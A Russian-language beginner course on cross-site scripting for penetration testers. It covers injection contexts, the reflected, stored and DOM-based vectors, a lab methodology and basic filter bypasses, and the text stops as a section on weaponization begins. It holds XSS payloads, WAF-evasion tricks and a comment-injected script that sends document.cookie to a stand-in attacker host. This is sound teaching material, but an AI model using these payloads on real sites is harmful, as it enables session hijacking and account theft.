Практический XSS для начинающих пентестеров

Курс погружает в механику Cross-Site Scripting (XSS) от базовых концепций веб-технологий до конструирования пейлоадов. Вы научитесь этично находить и тестировать уязвимости в безопасной лабораторной среде.

1. Введение в XSS: Механика инъекций и этика пентестинга

Введение в XSS: Механика инъекций и этика пентестинга

Каждый раз, когда вы открываете веб-сайт, совершаете покупку в интернет-магазине или отправляете сообщение в социальной сети, вы взаимодействуете со сложным механизмом. Под красивым визуальным интерфейсом скрываются тысячи строк кода, базы данных и серверы, непрерывно обменивающиеся информацией. И именно в этом непрерывном потоке данных кроются возможности для тех, кто знает, как заставить систему работать не по правилам.

Чтобы понять, как ломаются веб-приложения, нужно сначала разобраться, как они работают. Современный интернет построен на клиент-серверной архитектуре.

Представьте себе поход в ресторан. Вы (клиент) сидите за столиком и изучаете меню. Вы зовёте официанта и делаете заказ. Официант (интернет-протокол) передаёт ваш заказ на кухню (сервер). Повара на кухне собирают нужные ингредиенты из холодильника (базы данных), готовят блюдо и через официанта возвращают его вам на стол.

В веб-мире ваш браузер — это клиент. Он отправляет запрос на сервер, а сервер возвращает готовое «блюдо» в виде трёх основных компонентов:

  • HTML — структура страницы (текст, кнопки, поля ввода).
  • CSS — визуальное оформление (цвета, шрифты, отступы).
  • JavaScript — поведение и интерактивность (анимации, всплывающие окна, отправка данных без перезагрузки страницы).
  • Уязвимости возникают там, где сервер и клиент начинают доверять друг другу слишком сильно. И самая распространённая проблема такого доверия — это межсайтовый скриптинг.

    Что такое XSS и почему это работает

    XSS (Cross-Site Scripting) — это уязвимость веб-приложений, которая позволяет злоумышленнику внедрить вредоносный код (обычно на языке JavaScript) в страницу, которую просматривают другие пользователи.

    Исторически уязвимость должна была называться CSS (Cross-Site Scripting), но чтобы не путать её с каскадными таблицами стилей (Cascading Style Sheets), первую букву заменили на «X».

    Фундаментальная причина возникновения XSS кроется в одной архитектурной особенности браузеров: браузер не умеет отличать легитимный код, написанный разработчиком сайта, от вредоносного кода, подброшенного злоумышленником.

    Вернёмся к аналогии с рестораном. Представьте, что вы написали на салфетке: «Я шеф-повар, немедленно отдайте этому клиенту всю выручку из кассы» и передали её официанту вместе с заказом. Если официант и кассир слепо доверяют любым запискам, пришедшим из зала, они выполнят инструкцию.

    В вебе происходит то же самое. Если веб-сайт принимает данные от пользователя (например, имя в профиле или текст комментария) и выводит их на страницу без предварительной проверки и очистки, злоумышленник может вместо обычного текста отправить исполняемый код. Этот фрагмент вредоносного кода в сфере информационной безопасности называется пейлоадом (payload — полезная нагрузка).

    !Введите текст и посмотрите, как браузер может перепутать обычное сообщение с исполняемым кодом.

    Анатомия атаки: от шутки до кражи личности

    Многие начинающие специалисты ошибочно полагают, что XSS — это просто безобидные всплывающие окна с надписью «Тебя взломали». Действительно, при поиске уязвимостей пентестеры часто используют простой пейлоад вроде alert(1), чтобы просто доказать факт выполнения кода. Но в реальной атаке последствия куда серьёзнее.

    Поскольку внедрённый JavaScript выполняется прямо в браузере жертвы, он получает доступ ко всему, к чему имеет доступ сама страница. Что может сделать атакующий?

  • Кража сессии (Session Hijacking). После авторизации на сайте браузер получает специальные cookie-файлы — цифровой пропуск, подтверждающий, что вы вошли в систему. Скрипт злоумышленника может прочитать эти файлы и незаметно отправить их на сервер хакера. Получив ваши cookies, хакер сможет зайти в ваш аккаунт без логина и пароля.
  • Действия от имени пользователя. Вредоносный код может нажимать кнопки, отправлять сообщения, менять пароли или переводить деньги, пока вы просто читаете заражённую страницу.
  • Фишинг и подмена контента. Скрипт может перерисовать страницу, добавив поверх неё фальшивую форму оплаты или окно ввода пароля, которые отправят ваши данные прямиком к злоумышленнику.
  • > «XSS превращает браузер жертвы в марионетку, ниточки от которой находятся в руках атакующего. Пользователь доверяет сайту, а сайт невольно предаёт пользователя». > > YesWeHack

    Три столпа XSS: Отражённая, Хранимая и DOM-уязвимости

    В следующих статьях курса мы будем подробно разбирать каждый тип уязвимости на практике, но сейчас важно понять их концептуальные различия. Все они основаны на плохой фильтрации данных, но отличаются тем, как именно пейлоад попадает к жертве.

    1. Reflected XSS (Отражённая)

    Это самый простой тип. Вредоносный код передаётся прямо в ссылке (URL) или в поисковом запросе. Сервер получает этот запрос, берёт из него данные и сразу же «отражает» их обратно на страницу.

    Пример из жизни: Вы ищете на сайте товар. В URL появляется параметр ?search=Котята. На странице выводится текст: «Вы искали: Котята». Если злоумышленник сформирует ссылку вида ?search=<script>код</script> и обманом заставит вас по ней кликнуть, сервер вернёт страницу с этим кодом, и ваш браузер его выполнит. Атака срабатывает только в момент перехода по специально подготовленной ссылке.

    2. Stored XSS (Хранимая)

    Самый опасный и разрушительный тип. Здесь вредоносный код навсегда (или надолго) сохраняется в базе данных самого веб-приложения.

    Пример из жизни: Хакер оставляет комментарий под популярной статьей или на форуме, но вместо текста пишет JavaScript-код. Сервер сохраняет этот комментарий в базу данных. Теперь каждый пользователь, который просто откроет эту статью, автоматически загрузит и выполнит вредоносный код. Жертве не нужно кликать по подозрительным ссылкам — достаточно просто зайти на легитимный сайт.

    3. DOM-based XSS

    Самый сложный для понимания новичками тип. В отличие от первых двух, здесь сервер вообще может не участвовать в обработке вредоносного кода. Уязвимость кроется в легитимном JavaScript-коде самой страницы, который небезопасно берёт данные из браузера (например, из адресной строки) и вставляет их в структуру документа (DOM).

    !Схема работы трёх основных типов XSS: как вредоносный код попадает в браузер жертвы.

    Этика пентестинга: где проходит граница

    Изучая методы взлома, вы получаете в руки мощное оружие. Техники, которые мы будем изучать в этом курсе, идентичны тем, что используют настоящие киберпреступники. Разница между преступником и профессионалом заключается только в одном слове — разрешение.

    Пентестинг (от англ. penetration testing — тестирование на проникновение) — это легальный процесс поиска уязвимостей. Специалист по информационной безопасности (этичный хакер) атакует систему только после подписания официального договора с её владельцем.

    Существуют строгие правила, которые отличают этичного хакера от злоумышленника:

  • Никогда не тестируйте системы без явного разрешения. Даже если вы нашли уязвимость «случайно» или хотели «помочь», несанкционированное сканирование и эксплуатация уязвимостей — это уголовное преступление в большинстве стран мира.
  • Не наносите вред. Цель пентестера — доказать наличие уязвимости, а не разрушить бизнес. Если вы нашли XSS, достаточно вывести безопасное окно alert(). Не нужно пытаться украсть реальные данные пользователей или удалять базу данных.
  • Соблюдайте конфиденциальность. Найденные уязвимости и данные, к которым вы получили доступ в ходе тестирования, являются строгой коммерческой тайной.
  • Если вы хотите практиковаться на реальных системах легально, для этого существуют программы Bug Bounty. Это инициативы крупных компаний (таких как Google, Microsoft, Яндекс), в рамках которых они официально разрешают независимым исследователям атаковать свои сервисы по чётко оговорённым правилам и выплачивают денежные вознаграждения за найденные ошибки.

    В рамках этого курса мы будем отрабатывать все атаки исключительно в специально подготовленных, изолированных лабораторных средах, которые созданы специально для того, чтобы их ломали.

    Понимание того, как злоумышленники мыслят и действуют — единственный способ научиться эффективно защищать веб-приложения. В следующей статье мы погрузимся в основы HTML и JavaScript, чтобы научиться читать веб-страницы глазами атакующего и конструировать свои первые базовые пейлоады.

    2. Взаимодействие HTML, JavaScript и DOM при XSS-атаках

    Взаимодействие HTML, JavaScript и DOM при XSS-атаках

    В предыдущей главе мы выяснили, что суть межсайтового скриптинга заключается во внедрении вредоносного кода на страницу. Но чтобы научиться находить уязвимости и конструировать рабочие пейлоады, недостаточно просто знать теорию. Необходимо смотреть на веб-страницу глазами браузера.

    Браузер — это не просто программа для отображения картинок и текста. Это мощный интерпретатор, который ежесекундно принимает решения о том, что является безопасным текстом, а что — командой к действию. Ошибка в этом процессе принятия решений и открывает дверь для атак.

    Анатомия веб-страницы: HTML как фундамент

    Любая веб-страница начинается с текстового документа. Сервер отправляет вашему браузеру набор символов, написанных на языке разметки HTML (HyperText Markup Language).

    HTML состоит из тегов — специальных команд, заключенных в угловые скобки. Теги говорят браузеру, как структурировать информацию. Большинство тегов парные: они имеют открывающую и закрывающую часть.

    Помимо самих тегов, существуют атрибуты — дополнительные свойства, которые уточняют поведение или внешний вид элемента. Атрибуты всегда находятся внутри открывающего тега.

    В первом примере href — это атрибут, указывающий адрес для перехода. Во втором примере type определяет тип поля ввода, а value содержит текст, который будет показан внутри этого поля по умолчанию.

    Когда браузер получает этот текстовый документ, он начинает читать его сверху вниз. Этот процесс чтения и анализа называется парсингом.

    Рождение DOM-дерева

    Браузер не работает с HTML как с простым текстом. В процессе парсинга он берет каждый тег и превращает его в самостоятельный объект в памяти компьютера. Из этих объектов выстраивается строгая иерархическая структура, которая называется DOM (Document Object Model — Объектная модель документа).

    Представьте себе генеалогическое древо. У вас есть прадедушка (корень), от него идут ветви к дедушкам, затем к родителям, а от них — к детям. DOM работает точно так же.

    Каждый элемент на странице становится узлом (Node) в этом дереве. Тег <html> является корневым узлом. Внутри него находятся узлы <head> и <body>. Внутри <body> могут быть узлы абзацев, картинок и кнопок.

    !Процесс превращения HTML-кода в DOM-дерево: как браузер выстраивает иерархию элементов.

    Зачем браузеру нужно строить это сложное дерево? Ответ прост: чтобы дать возможность языку программирования взаимодействовать со страницей.

    JavaScript: Оживление Франкенштейна

    Если HTML — это скелет страницы, а CSS — её кожа и одежда, то JavaScript — это мышцы и нервная система.

    JavaScript (JS) — это полноценный язык программирования, который выполняется прямо в вашем браузере. Его главная суперсила заключается в том, что он имеет полный доступ к DOM-дереву. JS может:

  • Читать содержимое любых узлов (например, узнать, что вы ввели в форму).
  • Изменять существующие узлы (менять цвет кнопки при наведении).
  • Удалять узлы или создавать совершенно новые элементы «на лету».
  • Для взаимодействия с DOM в JavaScript есть специальный глобальный объект document.

    Рассмотрим пример. Допустим, на странице есть пустой элемент для вывода приветствия:

    Легитимный скрипт разработчика может найти этот элемент в DOM-дереве и вставить туда текст:

    Именно здесь, на стыке HTML, DOM и JavaScript, возникает магия веб-приложений. И именно здесь кроется фундаментальная уязвимость.

    Как возникает XSS: проблема доверия к данным

    Уязвимость появляется в тот момент, когда данные, которые ввел пользователь, попадают в DOM-дерево без должной проверки.

    В JavaScript есть два популярных свойства для изменения содержимого узла:

  • innerText (или textContent) — говорит браузеру: «Вставь эти данные строго как обычный текст. Если там есть угловые скобки, просто нарисуй их на экране, это не теги».
  • innerHTML — говорит браузеру: «Вставь эти данные как HTML-код. Проанализируй их, найди теги и построй из них новые узлы в DOM-дереве».
  • Если разработчик использует innerHTML для вывода имени пользователя, а злоумышленник вместо имени введет <script>alert(1)</script>, браузер послушно прочитает тег <script>, поймет, что внутри находится исполняемый код, и немедленно его запустит.

    !Впишите HTML-теги и посмотрите, как браузер по-разному обрабатывает текст и код

    > «Браузер — это исполнительный, но невероятно наивный работник. Он никогда не задает вопросов. Если в документе написано "выполни этот код", он его выполнит, даже если эту строчку секунду назад тайком вписал туда грабитель».

    Контекст внедрения: почему один пейлоад не работает везде

    Многие новички в пентестинге совершают одну и ту же ошибку: они берут базовый пейлоад <script>alert(1)</script>, вставляют его во все поля ввода на сайте и, не увидев всплывающего окна, делают вывод, что сайт безопасен. Это в корне неверный подход.

    Успех атаки на 100% зависит от контекста внедрения — того конкретного места в HTML-коде, куда сервер подставляет ваши данные.

    Рассмотрим три основных контекста и то, как браузер их интерпретирует.

    1. HTML-контекст (между тегами)

    Это самый простой случай. Ваши данные попадают прямо между открывающим и закрывающим тегами.

    Код страницы:

    Как атаковать: Здесь базовый пейлоад сработает идеально. Вы вводите <script>alert(1)</script>, и итоговый код становится таким:

    Браузер парсит div, затем натыкается на script и выполняет его.

    2. Контекст атрибута

    Часто данные пользователя подставляются внутрь атрибутов HTML-тегов, например, в поле ввода.

    Код страницы:

    Если вы введете сюда <script>alert(1)</script>, код страницы примет вид:

    Всплывающего окна не будет! Почему? Потому что браузер видит, что всё это находится внутри кавычек атрибута value. Для браузера это просто длинный текст, который нужно показать внутри текстового поля. Он не воспринимает это как команду.

    Как атаковать (Выход из контекста): Чтобы код выполнился, нам нужно применить технику выхода из контекста. Мы должны искусственно завершить атрибут value, закрыть сам тег <input>, и только потом начать наш вредоносный скрипт.

    Мы отправляем такую строку: "> <script>alert(1)</script>

    Посмотрим, как это встроится в страницу:

    Разберем по шагам, что увидит браузер:

  • <input type="text" name="username" value=""> — браузер видит корректно закрытое поле ввода с пустым значением.
  • <script>alert(1)</script> — браузер видит новый тег скрипта и выполняет его!
  • "> — оставшийся мусор от оригинального кода. Браузер просто проигнорирует его как ошибку синтаксиса.
  • 3. JavaScript-контекст

    Иногда ваши данные попадают прямо внутрь легитимного скрипта, который написал разработчик.

    Код страницы:

    Если вы введете <script>alert(1)</script>, это вызовет синтаксическую ошибку, потому что нельзя вставлять HTML-теги прямо внутрь строковой переменной в JS.

    Как атаковать: Здесь нужно мыслить как программист. Нам нужно закрыть кавычку переменной userSearch, поставить точку с запятой (завершив команду разработчика), а затем написать свой JS-код.

    Мы отправляем: '; alert(1); //

    Итоговый код:

    Браузер создаст пустую переменную userSearch, затем выполнит наш alert(1), а символы // превратят остаток оригинальной строки разработчика в безопасный комментарий, чтобы не возникло ошибок.

    | Контекст | Пример уязвимого кода | Рабочий пейлоад | Механика обхода | | :--- | :--- | :--- | :--- | | HTML | <p>ВВОД</p> | <script>alert(1)</script> | Прямое внедрение тега | | Атрибут | <input value="ВВОД"> | "><script>alert(1)</script> | Закрытие кавычки и тега | | JavaScript | let x = 'ВВОД'; | '; alert(1); // | Закрытие строки и комментирование остатка |

    Понимание того, как браузер читает HTML, строит DOM-дерево и выполняет JavaScript — это фундамент, на котором строится весь веб-пентестинг. Успешная атака — это всегда диалог с парсером браузера, где вы с помощью специальных символов убеждаете его сменить контекст с «безопасного текста» на «исполняемый код».

    3. Векторы атак: Reflected, Stored и DOM-based XSS

    Векторы атак: Reflected, Stored и DOM-based XSS

    Мы уже знаем, как браузер читает код страницы и почему он может перепутать легитимный текст с вредоносным скриптом. Однако сам по себе пейлоад не материализуется в браузере жертвы из воздуха. Злоумышленнику необходимо найти способ доставки своего кода.

    Способ, маршрут и механизм доставки вредоносного кода от атакующего к жертве называется вектором атаки. В контексте межсайтового скриптинга выделяют три основных вектора, которые кардинально отличаются друг от друга по механике работы, уровню опасности и методам обнаружения.

    Reflected XSS: Эффект бумеранга

    Представьте себе эхо в горах: вы кричите слово, и гора немедленно возвращает вам его обратно. Механика отражённой уязвимости работает по точно такому же принципу.

    При Reflected XSS вредоносный код передаётся на сервер в составе запроса (чаще всего прямо в URL-адресе), а сервер, не проверив эти данные, немедленно вставляет их в HTML-код ответа и отправляет обратно.

    Анатомия атаки

    Рассмотрим типичный интернет-магазин с функцией поиска. Когда вы ищете «ноутбук», ваш браузер отправляет запрос:

    https://shop.example.com/search?query=ноутбук

    Сервер обрабатывает запрос и возвращает страницу, в коде которой написано:

    Пентестер замечает, что сервер берет значение из параметра query и слепо копирует его на страницу. Он формирует специальную ссылку:

    https://shop.example.com/search?query=<script>alert('Взлом')</script>

    Если сервер уязвим, он вернет следующий HTML-код:

    Особенности эксплуатации

    Главная слабость этого вектора — код не сохраняется на сервере. Чтобы атака удалась, злоумышленник должен заставить жертву самостоятельно отправить этот вредоносный запрос.

    Для этого используются методы социальной инженерии:

  • Атакующий маскирует ссылку с помощью сервисов сокращения URL (например, bit.ly).
  • Отправляет её жертве в мессенджере или по электронной почте с интригующим текстом («Смотри, тут твои фото!»).
  • Жертва кликает по ссылке, её браузер отправляет запрос с пейлоадом на уязвимый сайт.
  • Сайт «отражает» пейлоад обратно в браузер жертвы, где он немедленно выполняется.
  • > Отражённая атака требует активного участия жертвы. Если никто не кликнет по специально подготовленной ссылке, уязвимость останется лишь теоретической угрозой.

    Stored XSS: Мина замедленного действия

    Если отражённая атака — это бумеранг, то хранимая уязвимость — это мина, заложенная в людном месте. Это самый разрушительный и опасный вектор.

    При Stored XSS вредоносный код навсегда (или до момента удаления) сохраняется в базе данных уязвимого приложения. Сервер сам становится невольным распространителем заразы, отдавая пейлоад каждому посетителю страницы.

    Анатомия атаки

    Представим форум или систему комментариев под статьей. Злоумышленник пишет комментарий, но вместо обычного текста вставляет скрипт:

    Отличная статья! <script>fetch('https://hacker.site/steal?cookie=' + document.cookie)</script>

    Сервер принимает этот комментарий и заботливо сохраняет его в свою базу данных. Атака завершена, ловушка установлена.

    Что происходит дальше:

  • Обычный пользователь заходит почитать статью.
  • Его браузер запрашивает у сервера страницу с комментариями.
  • Сервер достает из базы данных все комментарии, включая вредоносный, и формирует HTML-документ.
  • Браузер пользователя получает документ, доходит до комментария злоумышленника, видит тег скрипта и выполняет его.
  • Файл cookie пользователя незаметно отправляется на сервер хакера.
  • !Схема работы Stored и Reflected XSS: как данные проходят через сервер и базу данных

    Масштаб угрозы

    Опасность хранимой уязвимости заключается в её массовости. Злоумышленнику не нужно обманывать каждую жертву индивидуально. Достаточно один раз внедрить код в популярный раздел сайта (например, в свой профиль социальной сети или в отзыв на популярный товар), и скрипт сработает тысячи раз на компьютерах ничего не подозревающих посетителей.

    DOM-based XSS: Невидимая угроза

    Третий вектор кардинально отличается от первых двух. Если при отражённой и хранимой атаках сервер так или иначе участвует в передаче вредоносного кода (отражает его или достает из базы), то при DOM-based XSS сервер может вообще ничего не знать об атаке.

    Уязвимость кроется исключительно в клиентском JavaScript-коде, который легитимно работает в браузере жертвы.

    Источники и Стоки

    Для понимания этого вектора пентестеры используют два важных термина:

  • Источник (Source) — свойство браузера, из которого JavaScript читает данные, контролируемые пользователем. Самый популярный источник — это URL-адрес.
  • Сток (Sink) — опасная функция JavaScript, которая выполняет код или изменяет DOM-дерево. Например, свойство innerHTML или функция eval().
  • Атака происходит, когда данные из Источника попадают в Сток без проверки.

    Анатомия атаки

    Рассмотрим страницу, которая использует URL-фрагмент (часть адреса после символа решётки #, также называемая хэшем) для выбора языка интерфейса.

    Легитимный URL выглядит так: https://example.com/page#RU

    Разработчик написал следующий JavaScript-код, который выполняется прямо в браузере:

    Злоумышленник формирует ссылку: https://example.com/page#<img src=x onerror=alert(1)>

    Когда жертва переходит по ссылке, происходит следующее:

  • Браузер отправляет запрос на сервер: GET /page.
  • Важный момент: всё, что находится после символа #, никогда не отправляется на сервер. Это стандартное поведение всех браузеров. Сервер видит абсолютно нормальный запрос и отдает чистую, безопасную страницу.
  • Страница загружается в браузере жертвы, и запускается легитимный JavaScript.
  • Скрипт читает вредоносный фрагмент из адресной строки и через innerHTML вставляет его в DOM-дерево.
  • Браузер пытается загрузить несуществующую картинку, возникает ошибка, и срабатывает вредоносный обработчик onerror.
  • !Попробуйте изменить URL-фрагмент и посмотрите, как реагируют браузер и сервер

    Сложность обнаружения

    DOM-based уязвимости — настоящая головная боль для специалистов по защите. Поскольку вредоносная нагрузка (пейлоад) не летит по сети к серверу, серверные системы защиты (например, Web Application Firewall) её просто не видят. Логи сервера остаются кристально чистыми, в то время как пользователи подвергаются взлому.

    Сравнительная таблица векторов

    Для успешного поиска уязвимостей важно чётко понимать разницу между этими тремя механизмами.

    | Характеристика | Reflected XSS | Stored XSS | DOM-based XSS | | :--- | :--- | :--- | :--- | | Где находится пейлоад? | В HTTP-запросе (URL, форма) | В базе данных сервера | В свойствах браузера (URL, локальное хранилище) | | Участие сервера | Возвращает пейлоад в ответе | Сохраняет и отдает пейлоад | Может вообще не получать пейлоад | | Требуется ли клик жертвы? | Да, по специальной ссылке | Нет, достаточно зайти на страницу | Да, по специальной ссылке | | Масштаб поражения | Точечный (одна ссылка — одна жертва) | Массовый (все посетители страницы) | Точечный | | Сложность поиска | Низкая | Средняя | Высокая (требует анализа JS-кода) |

    Понимание векторов атак определяет стратегию пентестера. При поиске Reflected XSS вы будете манипулировать параметрами URL и перехватывать ответы сервера. При поиске Stored XSS — заполнять все доступные формы ввода и проверять, где эти данные всплывают позже. А при поиске DOM-based XSS вам придется открыть инструменты разработчика в браузере и внимательно читать чужой JavaScript-код, отслеживая путь данных от Источника к Стоку.

    4. Методология поиска XSS-уязвимостей в лабораторной среде

    Методология поиска XSS-уязвимостей в лабораторной среде

    Хаотичный ввод вредоносного кода во все доступные поля на сайте редко приводит к успеху. Профессиональные пентестеры не пытаются угадать уязвимость вслепую — они действуют по строгому алгоритму. Системный подход позволяет не только найти скрытые бреши, но и точно понять, почему именно они возникли.

    Процесс поиска межсайтового скриптинга можно разделить на четыре последовательных этапа. Эту методологию используют как при легальном аудите безопасности, так и на соревнованиях по взлому.

    Шаг 1: Определение поверхности атаки

    Прежде чем пытаться что-то взломать, необходимо понять, с чем мы имеем дело. Совокупность всех точек, через которые пользователь может передать данные веб-приложению, называется поверхностью атаки.

    Представьте, что вы проверяете безопасность дома. Вы не станете сразу ломать входную дверь. Сначала вы обойдёте здание кругом, перепишете все двери, окна, вентиляционные решётки и подвальные люки. В веб-пентесте происходит то же самое.

    К типичным элементам поверхности атаки относятся:

  • URL-параметры: части адреса после знака вопроса (например, ?search=телефон или ?user_id=5).
  • Формы ввода: поля поиска, комментарии, формы обратной связи, настройки профиля.
  • HTTP-заголовки: служебная информация, которую браузер незаметно передаёт серверу (например, User-Agent, сообщающий версию вашего браузера).
  • Пентестер составляет исчерпывающий список всех этих точек. Если пропустить хотя бы один скрытый параметр, можно упустить критическую уязвимость.

    Шаг 2: Разведка с помощью «канарейки»

    Новички часто совершают ошибку: найдя поле ввода, они сразу вставляют туда боевой скрипт вроде <script>alert(1)</script>. Это плохая практика. Во-первых, современные системы защиты мгновенно блокируют такие очевидные атаки. Во-вторых, если скрипт не сработает, вы не поймёте почему: его удалил сервер, он попал не в тот контекст или сломался синтаксис?

    Вместо этого профессионалы используют технику канарейки (отсылка к шахтёрам, которые брали птиц в забой для проверки воздуха). Канарейка в пентесте — это уникальная, безопасная текстовая строка, которая не содержит спецсимволов и легко ищется в коде.

    Пример канарейки: XSS777TEST.

    Вы вводите эту строку в найденное поле (например, в поиск по сайту) и отправляете запрос. Сервер обрабатывает данные и возвращает вам страницу. Теперь ваша задача — открыть инструменты разработчика в браузере и найти, где именно на странице появилось слово XSS777TEST.

    Шаг 3: Анализ контекста

    На этом этапе мы изучаем исходный код вокруг нашей канарейки. То, где именно приземлилась наша строка, определит дальнейшую стратегию.

    Возможные сценарии:

  • Между HTML-тегами: <div>XSS777TEST</div>. Самый простой вариант. Нам достаточно передать <script>....
  • Внутри атрибута: <input type="text" value="XSS777TEST">. Здесь просто написать тег скрипта нельзя — он станет частью текста внутри атрибута value. Сначала нужно закрыть кавычку и сам тег: "><script>....
  • Внутри JavaScript-кода: let search = 'XSS777TEST';. Здесь действуют правила синтаксиса JS. Нам нужно закрыть кавычку, поставить точку с запятой и написать свой код: '; alert(1); //.
  • !Методология поиска XSS: от сбора точек входа до эксплуатации уязвимости

    Именно анализ контекста позволяет понять, какие спецсимволы (кавычки, скобки, слеши) нам понадобятся для успешного выхода за пределы легитимного кода.

    Шаг 4: Создание PoC (Proof of Concept)

    Когда контекст ясен, пентестер формирует финальную строку для внедрения. Однако в рамках этичного хакинга никто не крадёт реальные данные пользователей для проверки.

    Вместо этого создаётся Proof of Concept (PoC) — безопасное доказательство концепции. Это минимальный рабочий код, который наглядно демонстрирует наличие уязвимости, но не причиняет вреда системе.

    В мире XSS классическим PoC является вызов функции alert(), prompt() или console.log(). Если пентестер смог заставить браузер показать всплывающее окно с цифрой 1 или названием домена, этого достаточно, чтобы доказать заказчику: «Здесь можно выполнить любой JavaScript-код, уязвимость существует».

    Лабораторная среда: где тренироваться безопасно

    Тестировать уязвимости на реальных сайтах без письменного разрешения их владельцев — это уголовное преступление. Поэтому обучение всегда проходит в специализированных лабораторных средах.

    Уязвимые стенды

    Для практики создаются уязвимые стенды — специально написанные веб-приложения, в которых разработчики намеренно оставили дыры в безопасности.

    Самый известный пример — DVWA (Damn Vulnerable Web Application). Это приложение можно легально скачать и запустить на своём компьютере. В нём есть разделы для тренировки всех типов XSS, причём сложность можно регулировать: от полного отсутствия защиты до строгих фильтров, которые придётся обходить.

    Локальный прокси-сервер

    Для полноценного контроля над трафиком браузера недостаточно. Браузер скрывает от пользователя многие процессы и не позволяет изменять данные «на лету». Главным оружием веб-пентестера является локальный прокси-сервер (например, Burp Suite или OWASP ZAP).

    Прокси-сервер устанавливается на компьютер пентестера и работает как таможня между браузером и целевым сайтом.

    Как это работает на практике:

  • Вы нажимаете кнопку «Отправить» в браузере.
  • Запрос не летит сразу на сервер, а «застревает» в прокси-сервере.
  • Вы открываете прокси, видите сырой HTTP-запрос и можете изменить в нём любую букву, добавить скрытые параметры или поменять заголовки.
  • Вы нажимаете «Пропустить», и изменённый запрос отправляется на сервер.
  • !Попробуйте изменить запрос до того, как он попадёт на сервер, и посмотрите на результат

    Использование прокси-сервера позволяет обходить клиентские ограничения. Например, если форма на сайте не позволяет ввести больше 10 символов (ограничение maxlength в HTML), браузер просто не даст вам напечатать длинный пейлоад. Но с помощью прокси вы можете ввести короткое слово, перехватить запрос и вставить туда скрипт любой длины — сервер получит его в обход браузерных запретов.

    Освоение связки «браузер + прокси-сервер + уязвимый стенд» — это фундамент, на котором строится вся дальнейшая практика веб-пентеста. Следуя чёткой методологии от разведки поверхности атаки до создания PoC, вы перестаёте действовать наугад и начинаете видеть веб-приложение глазами инженера по безопасности.

    5. Конструирование XSS-пейлоадов и базовый обход фильтров

    Конструирование XSS-пейлоадов и базовый обход фильтров

    Нахождение точки внедрения на веб-странице — это лишь половина дела. Как только вы обнаружили уязвимое поле и успешно вывели на экран тестовую «канарейку», перед вами встает задача заставить браузер выполнить вредоносный код. В идеальном мире без защиты достаточно было бы просто написать <script>alert(1)</script>. Однако в реальности современные веб-приложения активно сопротивляются подобным манипуляциям.

    Анатомия боевого пейлоада

    Профессиональный пейлоад редко состоит из одного простого тега. Обычно это тщательно сконструированная строка, которая решает сразу три задачи: вырывается из текущего окружения, обходит системы защиты и запускает нужный скрипт.

    Структуру качественного пейлоада можно разделить на три логических блока:

    | Компонент | Пример | Назначение | Принцип работы | | :--- | :--- | :--- | :--- | | Префикс | "> | Разрушение легитимной структуры | Закрывает открытые кавычки и теги разработчика, чтобы браузер начал воспринимать следующий текст как новый HTML-элемент. | | Триггер | <img src=x> | Инициация выполнения | Легитимный HTML-тег, который заставляет браузер совершить действие (например, попытаться загрузить картинку). | | Действие | onerror=alert(1) | Выполнение JavaScript | Инструкция, указывающая, какой именно код должен сработать при активации триггера. |

    Соединив эти части, мы получаем классическую строку: "><img src=x onerror=alert(1)>.

    Столкновение с защитой: WAF и фильтры

    Когда вы отправляете свой пейлоад на сервер, он редко попадает в базу данных или обратно в браузер напрямую. На его пути стоят системы защиты.

    Главным препятствием для пентестера является WAF (Web Application Firewall) — специализированный сетевой экран, который анализирует весь входящий HTTP-трафик веб-приложения и блокирует запросы, содержащие известные сигнатуры атак. WAF работает как строгий фейсконтроль в клубе: у него есть список «запрещенных лиц» (например, слова script, alert, onerror), и если он видит их в вашем запросе, то немедленно обрывает соединение, возвращая ошибку 403 Forbidden.

    Помимо WAF, само приложение может применять санитизацию — процесс очистки пользовательского ввода от потенциально опасных символов. В отличие от WAF, который блокирует запрос целиком, санитизация просто вырезает или заменяет опасные части. Например, если вы введете <script>test</script>, санитизатор может удалить теги, оставив только безобидное слово test.

    Базовые техники обхода фильтров

    Создатели защитных систем не могут заблокировать абсолютно все спецсимволы, иначе сломается легитимный функционал сайта (например, пользователи не смогут писать комментарии с кавычками или скобками). Поэтому фильтры всегда имеют исключения, а задача пентестера — найти эти слепые зоны.

    1. Манипуляция регистром

    Самые примитивные фильтры ищут точное совпадение со словом script. Поскольку HTML не чувствителен к регистру, браузеру абсолютно всё равно, какими буквами написан тег.

    Если фильтр блокирует <script>, попробуйте изменить размер букв: * <ScRiPt>alert(1)</sCrIpT> * <SCRIPT>alert(1)</SCRIPT>

    Браузер успешно выполнит этот код, а плохо настроенный фильтр его пропустит, так как слово ScRiPt не совпадает с его черным списком.

    2. Использование альтернативных обработчиков событий

    Если слово script заблокировано намертво, пентестеры переходят к использованию обработчиков событий. Это специальные атрибуты в HTML, которые позволяют запускать JavaScript-код при наступлении определенного события (клик мыши, загрузка страницы, ошибка).

    Вместо того чтобы внедрять скрипт напрямую, мы внедряем обычный HTML-элемент и «вешаем» на него вредоносное событие.

    Популярные векторы: * <img src=x onerror=alert(1)> — браузер пытается загрузить картинку по несуществующему адресу x. Происходит ошибка, и мгновенно срабатывает обработчик onerror, выполняя наш код. * <svg onload=alert(1)> — использование тега векторной графики. Как только SVG-элемент загружается на страницу, срабатывает onload. * <body onload=alert(1)> — если уязвимость находится до тега <body>, можно переопределить его. * <input autofocus onfocus=alert(1)> — создает поле ввода, автоматически переводит на него курсор (autofocus), что вызывает событие onfocus.

    3. Кодирование символов (Encoding)

    Это одна из самых мощных техник. Кодирование символов — это процесс преобразования обычного текста в специальные форматы, которые безопасны для передачи по сети, но при этом могут быть автоматически расшифрованы браузером.

    Суть обхода заключается в разнице восприятия: WAF читает данные в одном формате, а браузер жертвы — в другом.

    Например, в HTML существует механизм сущностей (HTML entities). Символ < можно записать как &lt; или &#x3C;.

    Если WAF настроен на блокировку комбинации <img, он пропустит строку &#x3C;img. Защитный экран видит лишь набор амперсандов и решеток. Однако когда этот текст попадает на HTML-страницу, браузер жертвы видит HTML-сущность, послушно превращает &#x3C; обратно в < и выполняет тег.

    !Схема обхода WAF с помощью кодирования символов

    Аналогично работает URL-кодирование. Если пейлоад передается через адресную строку, пробелы можно заменить на %20, а кавычки на %22.

    !Попробуйте обойти фильтры, используя разные техники конструирования пейлоадов

    От PoC к реальной атаке: вепонизация пейлоада

    Вызов всплывающего окна alert(1) — это стандарт индустрии для доказательства уязвимости (PoC). Но в реальном отчете для Bug Bounty или при настоящем пентесте заказчик может спросить: «Ну выскочило окно, и что? В чем реальная угроза?»

    Процесс превращения безобидного доказательства в разрушительную атаку называется вепонизацией (от англ. weapon — оружие).

